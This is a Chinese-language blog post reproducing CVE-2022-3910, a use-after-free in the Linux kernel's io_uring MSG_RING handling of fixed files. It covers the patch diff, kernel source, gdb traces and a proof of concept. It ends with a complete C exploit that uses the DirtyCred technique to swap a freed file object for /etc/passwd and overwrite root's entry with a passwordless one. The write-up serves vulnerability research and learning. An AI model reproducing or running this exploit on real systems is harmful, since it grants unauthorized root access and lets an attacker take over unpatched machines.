CVE-2022-3910复现(一)

T1d 2024-7-11 417 7/11

复现环境及exp源码:CVE-2022-3910

漏洞

diff --git a/io_uring/msg_ring.c b/io_uring/msg_ring.c
index 976c4ba68ee7ec..4a7e5d030c782f 100644
--- a/io_uring/msg_ring.c
+++ b/io_uring/msg_ring.c
@@ -165,7 +165,8 @@ done:
 		req_set_fail(req);
 	io_req_set_res(req, ret, 0);
 	/* put file to avoid an attempt to IOPOLL the req */
-	io_put_file(req->file);
+	if (!(req->flags & REQ_F_FIXED_FILE))
+		io_put_file(req->file);
 	req->file = NULL;
 	return IOU_OK;
 }

io_msg_ring函数中调用函数io_put_file时未进行检查:

static int io_msg_ring(struct io_kiocb *req, unsigned int issue_flags)
{
	struct io_ring_ctx *target_ctx;
	struct io_msg *msg = &req->msg;
	bool filled;
	int ret;

	ret = -EBADFD;
	if (req->file->f_op != &io_uring_fops)
		goto done;

	ret = -EOVERFLOW;
	target_ctx = req->file->private_data;

	spin_lock(&target_ctx->completion_lock);
	filled = io_fill_cqe_aux(target_ctx, msg->user_data, msg->len, 0);
	io_commit_cqring(target_ctx);
	spin_unlock(&target_ctx->completion_lock);

	if (filled) {
		io_cqring_ev_posted(target_ctx);
		ret = 0;
	}

done:
	if (ret < 0)
		req_set_fail(req);
	__io_req_complete(req, issue_flags, ret, 0);
	/* put file to avoid an attempt to IOPOLL the req */
	io_put_file(req->file);
	req->file = NULL;
	return 0;
}

查看io_put_file函数:

static inline void io_put_file(struct file *file)
{
	if (file)
		fput(file);
}

可以发现该函数的作用是检查文件是否存在,如果存在就将文件的refcount递减,当文件的refcount为0时将free掉这个文件。而该函数是通过io_issue_sqe函数的IORING_OP_MSG_RING选项触发的:

static int io_issue_sqe(struct io_kiocb *req, unsigned int issue_flags)
{
	const struct io_op_def *def = &io_op_defs[req->opcode];
	const struct cred *creds = NULL;
	int ret;

	if (unlikely(!io_assign_file(req, issue_flags)))
		return -EBADF;

	if (unlikely((req->flags & REQ_F_CREDS) && req->creds != current_cred()))
		creds = override_creds(req->creds);

	if (!def->audit_skip)
		audit_uring_entry(req->opcode);
​_
	switch (req->opcode) {
	...
	case IORING_OP_MSG_RING:
		ret = io_msg_ring(req, issue_flags);
		break;
          ...
	default:
		ret = -EINVAL;
		break;
	}

	if (!def->audit_skip)
		audit_uring_exit(!ret, ret);

	if (creds)
		revert_creds(creds);
	if (ret)
		return ret;
	/* If the op doesn't have a file, we're not polling for it */
	if ((req->ctx->flags & IORING_SETUP_IOPOLL) && req->file)
		io_iopoll_req_issued(req, issue_flags);

	return 0;
}

我们搜索io_uring中的fixed file,找到这样的说明:

If opcode is IORING_REGISTER_BUFFERS, the io_uring subsystem will perform the setup work for the nr_args buffers pointed to by arg and keep the result; those buffers can then be used multiple times without paying that setup cost each time. If, instead, opcode is IORING_REGISTER_FILES, then arg is interpreted as an array of nr_args file descriptors. Each file in that array will be referenced and held open so that, once again, it can be used efficiently in multiple operations. These file descriptors are called "fixed" in io_uring jargon.

There are a couple of interesting aspects to fixed files. One is that the application can call close() on the file descriptor associated with a fixed file, but the reference within io_uring will remain and will still be usable. The other is that a fixed file is not referenced in subsequent io_uring operations by its file-descriptor number. Instead, operations use the offset where that file descriptor appeared in the args array during the io_uring_register() call. So if file descriptor 42 was placed in args[13], it will subsequently be known as fixed file 13 within io_uring.

发现对于一个正常文件,如果试图通过循环触发来递减引用计数并不能成功,查看一个正常文件的调用在什么地方对文件的引用计数进行了修改:

pwndbg> bt
#0  arch_atomic64_try_cmpxchg (new=7, old=<synthetic pointer>, v=0xffff888100abe638) at ./arch/x86/include/asm/atomic64_64.h:190
#1  arch_atomic64_fetch_add_unless (u=0, a=1, v=0xffff888100abe638) at ./include/linux/atomic/atomic-arch-fallback.h:2368
#2  arch_atomic64_add_unless (u=0, a=1, v=0xffff888100abe638) at ./include/linux/atomic/atomic-arch-fallback.h:2388
#3  arch_atomic64_inc_not_zero (v=0xffff888100abe638) at ./include/linux/atomic/atomic-arch-fallback.h:2404
#4  arch_atomic_long_inc_not_zero (v=0xffff888100abe638) at ./include/linux/atomic/atomic-long.h:497
#5  atomic_long_inc_not_zero (v=0xffff888100abe638) at ./include/linux/atomic/atomic-instrumented.h:1854
#6  __fget_files_rcu (mask=16384, fd=0, files=0xffff8881002b4580) at fs/file.c:882
#7  __fget_files (mask=16384, fd=0, files=0xffff8881002b4580) at fs/file.c:913
#8  __fget (mask=16384, fd=0) at fs/file.c:921
#9  fget (fd=fd@entry=0) at fs/file.c:926
#10 0xffffffff814587da in io_file_get_normal (req=req@entry=0xffff888100cea200, fd=fd@entry=0) at fs/io_uring.c:8609
#11 0xffffffff8145de3c in io_assign_file (issue_flags=2147483649, req=0xffff888100cea200) at fs/io_uring.c:8318
#12 io_assign_file (req=0xffff888100cea200, issue_flags=2147483649) at fs/io_uring.c:8310
#13 0xffffffff81461543 in io_issue_sqe (req=req@entry=0xffff888100cea200, issue_flags=issue_flags@entry=2147483649) at fs/io_uring.c:8329
#14 0xffffffff81464d1e in io_queue_sqe (req=0xffff888100cea200) at fs/io_uring.c:8729
#15 io_submit_sqe (sqe=0xffff888103c7c0c0, req=0xffff888100cea200, ctx=0xffff888100c37800) at fs/io_uring.c:8993
#16 io_submit_sqes (ctx=ctx@entry=0xffff888100c37800, nr=nr@entry=1) at fs/io_uring.c:9104

发现使用了fget函数,查看函数io_assign_file:

static bool io_assign_file(struct io_kiocb *req, unsigned int issue_flags)
{
	if (req->file || !io_op_defs[req->opcode].needs_file)
		return true;

	if (req->flags & REQ_F_FIXED_FILE)
		req->file = io_file_get_fixed(req, req->cqe.fd, issue_flags);
	else
		req->file = io_file_get_normal(req, req->cqe.fd);

	return !!req->file;
}

发现其实对于普通文件和fixed file会有不一样的处理:

io_file_get_fixed函数:

static inline struct file *io_file_get_fixed(struct io_kiocb *req, int fd,
					     unsigned int issue_flags)
{
	struct io_ring_ctx *ctx = req->ctx;
	struct file *file = NULL;
	unsigned long file_ptr;

	io_ring_submit_lock(ctx, issue_flags);

	if (unlikely((unsigned int)fd >= ctx->nr_user_files))
		goto out;
	fd = array_index_nospec(fd, ctx->nr_user_files);
	file_ptr = io_fixed_file_slot(&ctx->file_table, fd)->file_ptr;
	file = (struct file *) (file_ptr & FFS_MASK);
	file_ptr &= ~FFS_MASK;
	/* mask in overlapping REQ_F and FFS bits */
	req->flags |= (file_ptr << REQ_F_SUPPORT_NOWAIT_BIT);
	io_req_set_rsrc_node(req, ctx, 0);
	WARN_ON_ONCE(file && !test_bit(fd, ctx->file_table.bitmap));
out:
	io_ring_submit_unlock(ctx, issue_flags);
	return file;
}

对于fixed file,他是从file_table里面根据固定fd来载入的,这个过程并不存在引用计数的变化。

io_file_get_normal函数:

static struct file *io_file_get_normal(struct io_kiocb *req, int fd)
{
	struct file *file = fget(fd);

	trace_io_uring_file_get(req->ctx, req, req->cqe.user_data, fd);

	/* we don't allow fixed io_uring files */
	if (file && file->f_op == &io_uring_fops)
		io_req_track_inflight(req);
	return file;
}

显然对于普通文件的处理逻辑是先使用fget增加引用计数再fput减少引用计数,这样就不会出现uaf的情况。

因此正常的处理逻辑fixed file在使用之后也不应该进行引用计数的递减操作。

gdb动调查看fixed filerefcount:

pwndbg> p ((struct file*)0xffff888100ac3900)->f_count

$2 = { counter = 2 }

因此我们只需要触发三次漏洞功能即可实现将这个fixed file释放:

CVE-2022-3910复现(一)

利用

这里发现我们相当于掌握了一个free掉的指针,如果下一次新的文件写入时刚刚好也使用了这个空间,那么我们是否可以通过这个去改写一个更高权限的文件比如/etc/passwd实现一个权限提升的目的?

dirtycred显然满足我们的要求,参考发现使用该方法需要解决下面几个问题:

1.如何将内存破坏漏洞,转换为能够置换 credential object 的原语。

2.如何延长文件的权限检查- 数据写入的竞争窗口。

3.如何创建高权限的 credential object,来占据先前被释放的低权限 credential object 内存空洞

写了一个小poc测试发现,当我们利用漏洞free之后马上open一个文件就会占用原本的空间:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <liburing.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <syscall.h>
#include <linux/kcmp.h>

#define QUEUE_DEPTH 64
#define BLOCK_SZ    1024
#define IORING_OP_MSG_RING 40

const char* colorGreen = "\033[1;32m";
const char* colorRed = "\033[1;31m";
const char* colorReset = "\033[0m";
int test_fd;
int attack_fd;

void myDbgputs(char* message){
    printf("[%s+%s] %s\n", colorGreen, colorReset, message);
}

void myErrputs(char* message){
    printf("[%sx%s] %s\n", colorGreen, colorReset, message);
}

void testuaf() {
    struct io_uring ring;
    struct io_uring_sqe *sqe;
    char buffer[BLOCK_SZ];
    io_uring_queue_init(QUEUE_DEPTH, &ring, 0);
    io_uring_register_files(&ring, &test_fd, 1);
    
    for(int i = 0; i<3; i++)
    {
        sqe = io_uring_get_sqe(&ring);
        sqe->flags = IOSQE_FIXED_FILE;
        sqe->opcode = IORING_OP_MSG_RING;
        sqe->fd = 0;
        io_uring_submit(&ring);
    }
    io_uring_submit(&ring);
    sleep(1);
    myDbgputs("UAF!!!");
}

int main(int argc, char *argv[]) {
    char buf[0x100];
    int fd = open("/tmp/test", O_CREAT | O_WRONLY, 0777);
    int test;
    close(fd);
    test_fd = open("/tmp/test", O_WRONLY);
    sprintf((char *)buf, "fd: %d", test_fd);
    myDbgputs(buf);
    testuaf();
    attack_fd = open("/etc/passwd", O_RDONLY);
    test = syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, test_fd, attack_fd);
    printf("test: %d\n", test);
}

CVE-2022-3910复现(一)

因此现在我们需要考虑的就是如何去实现延长文件的权限检查- 数据写入的竞争窗口,首先我们看这个流程:

CVE-2022-3910复现(一)

写入一个文件需要顺序执行:

1.文件权限检查(是否可写)

2.开始实际写入数据至文件

我们需要做的就是在第一步和第二步之间的时候将文件利用漏洞free掉然后换成特权文件,这样就能将特权文件的内容改写,但是如何实现延长这个间隔的目的呢,我们发现:

内核文件系统的设计遵循严格的层次关系,高层接口统一而低层接口各异,写入文件时会调用高层接口,如 List 3 所示, generic_perform_write() 为统一的高层接口,在第 15 ~ 17 行其会调用对应文件系统的写入操作,出于性能考虑内核在写入前会拷贝 iovec 向量数据,从而触发缺页异常,由此 DirtyCred 可以在第 10 行使用 userfaultfd 来延长时间窗口

因此我们可以选择设计这样一个流程:

1. 进程1先向低权限文件中写入大量数据(测试发现0.2G足够)

2.在进程1开始写后进程2先检查文件读写权限,此时为低权限状态,检测通过但由于进程1还未完成写操作,此时进程2会等待进程1

3.在进程1检查结束后开始进行uaf操作,将低权限文件换成特权文件

4.等进程1结束时,文件已经被篡改为了特权文件并通过了读写检查,此时我们的数据会被直接写入到特权文件中

完整exp

// gcc t1dexp.c -o t1dexp -static -no-pie -s -luring

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <liburing.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <syscall.h>
#include <linux/kcmp.h>
#include <pthread.h>

#define QUEUE_DEPTH 64
#define BLOCK_SZ 1024
#define IORING_OP_MSG_RING 40
#define DATASIZE 0x20000000


const char* colorGreen = "\033[1;32m";
const char* colorRed = "\033[1;31m";
const char* colorReset = "\033[0m";
const char* testfile = "/tmp/test";
const char* attackfile = "/etc/passwd";
const char* attack_data = "root::0:0:root:/root:/bin/sh\n";

int test_fd;
int attack_fd;

pthread_spinlock_t lock_for_write;
pthread_spinlock_t lock_for_uaf;

void myDbgputs(char* message){
    printf("[%s+%s] %s\n", colorGreen, colorReset, message);
}

void myErrputs(char* message){
    printf("[%sx%s] %s\n", colorGreen, colorReset, message);
}

void testuaf() {
    struct io_uring ring;
    struct io_uring_sqe *sqe;
    char buffer[BLOCK_SZ];
    io_uring_queue_init(QUEUE_DEPTH, &ring, 0);
    io_uring_register_files(&ring, &test_fd, 1);
    
    for(int i = 0; i<3; i++)
    {
        sqe = io_uring_get_sqe(&ring);
        sqe->flags = IOSQE_FIXED_FILE;
        sqe->opcode = IORING_OP_MSG_RING;
        sqe->fd = 0;
        io_uring_submit(&ring);
    }
    io_uring_submit(&ring);
    sleep(1);
    myDbgputs("Finish UAF");
}

void *pthread_for_write_useless() {
    int fd = open(testfile, O_WRONLY);
    void *addr = mmap(NULL, DATASIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    pthread_spin_unlock(&lock_for_write);
    myDbgputs("Begin write large data");
    write(fd, addr, DATASIZE);
    myDbgputs("Finish write large data");
}

void *pthread_for_write_attackfile() {
    pthread_spin_lock(&lock_for_write);
    pthread_spin_unlock(&lock_for_uaf);
    myDbgputs("Begin write attack file");
    write(test_fd, attack_data, 30);
    myDbgputs("Finish write attack file");
}

void *do_uaf() {
    pthread_spin_lock(&lock_for_uaf);
    myDbgputs("Begin UAF");
    testuaf();
    attack_fd = open(attackfile, O_RDONLY);
    if(syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, test_fd, attack_fd) != 0){
        myErrputs("Not the expected address");
        exit(-1);
    }
}

void initfirst()
{
    pthread_spin_init(&lock_for_write, 0);
    pthread_spin_init(&lock_for_uaf, 0);
    pthread_spin_lock(&lock_for_write);
    pthread_spin_lock(&lock_for_uaf);
}

void destory()
{
    pthread_spin_destroy(&lock_for_uaf);
    pthread_spin_destroy(&lock_for_write);
}

int main(int argc, char *argv[]) {
    char buf[0x100];
    pthread_t p1, p2;
    initfirst();
    int fd = open(testfile, O_CREAT | O_WRONLY, 0777);
    close(fd);
    test_fd = open(testfile, O_WRONLY);
    sprintf((char *)buf, "fd: %d", test_fd);
    myDbgputs(buf);
    pthread_create(&p1, NULL, pthread_for_write_useless, NULL);
    pthread_create(&p2, NULL, pthread_for_write_attackfile, NULL);
    do_uaf();
    pthread_join(p1, NULL);
    pthread_join(p2, NULL);
    destory();
    return 0;
}

效果:

CVE-2022-3910复现(一)

- THE END -
Tag:

T1d

7月26日10:38

最后修改:2024年7月26日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论

您必须 后可评论